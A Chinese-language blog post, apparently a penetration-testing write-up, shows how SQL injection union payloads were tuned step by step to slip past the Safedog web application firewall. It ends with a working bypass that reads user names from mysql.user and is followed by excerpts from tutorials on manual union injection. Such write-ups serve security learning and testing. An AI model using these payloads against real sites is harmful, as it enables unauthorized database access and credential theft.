文章**於：
一次眾測發現個注入，然後有安全狗就順帶看了下安全狗。
嘗試用union函式 union(select 1,2,3) 攔截
union(%20select 1,2,3,4) 不攔截，注意select前面有個空格。
之前出題的**...懶得改了…中二。
union(%20select%201,(select%20user%20from%20mysql.user),3,4) p神說沒有from就不算繞過，嘗試用from注入被攔截。
union(%20select%201,(select%20user%20from(mysql.user)),3,4) 嘗試把from換成函式，被攔截了。
想起來之前繞union函式前面帶的空格，這裡也嘗試了下
union(%20select%201,(select%20user%20from(%20mysql.user)%20limit%202,1),3,4) 注意from函式裡面第一位就是空格
實際上還有很多過狗的方法，我第一次跟p神交流的時候不是這個payload，那個payload還要長很多，但是p神說了重要的是過程，我再研究了下，發現這個payload比較短點，最後希望跟各位大師傅一起學習，最後的最後感謝下phithon師傅
union聯合注入
方式一 首先嘗試id 1 and 1 1 或者id 1 and 1 1 或者1 and 1 1 或者 1 and 1 1 注釋符，假如是id 1 and 1 1 那麼and 1 1 就是我們可控的點 接下來在這個位置進行替換就好 id 1 order by 4 判斷字段個數，從order by 1 ...
sql注入之union注入
判斷是否存在注入點 判斷是什麼型別注入 字元型or數字型 判斷閉合方式 查詢列數個數 order by 5,獲得資料庫名 獲得表名 獲得欄位名 1.判斷是否存在注入點 可以用 單引號顯示資料庫錯誤資訊或者頁面回顯不同 2.判斷什麼型別 字元型or數字型 用and 1 1和and 1 2 如果頁面沒有...
SQL注入中的union注入
環境自己搭的 union聯合，合併，將多條查詢語句結果合併成乙個結果，union注入攻擊是手工測試 1.首先要判斷是否存在注入點 2.通過order by 1 99 查詢字段 首先應該用查詢出欄位 1.注 20表示空格,我這裡從1試到了7 到7的時候報錯，也就會是說有6個字段 2.我的回顯是2和4，...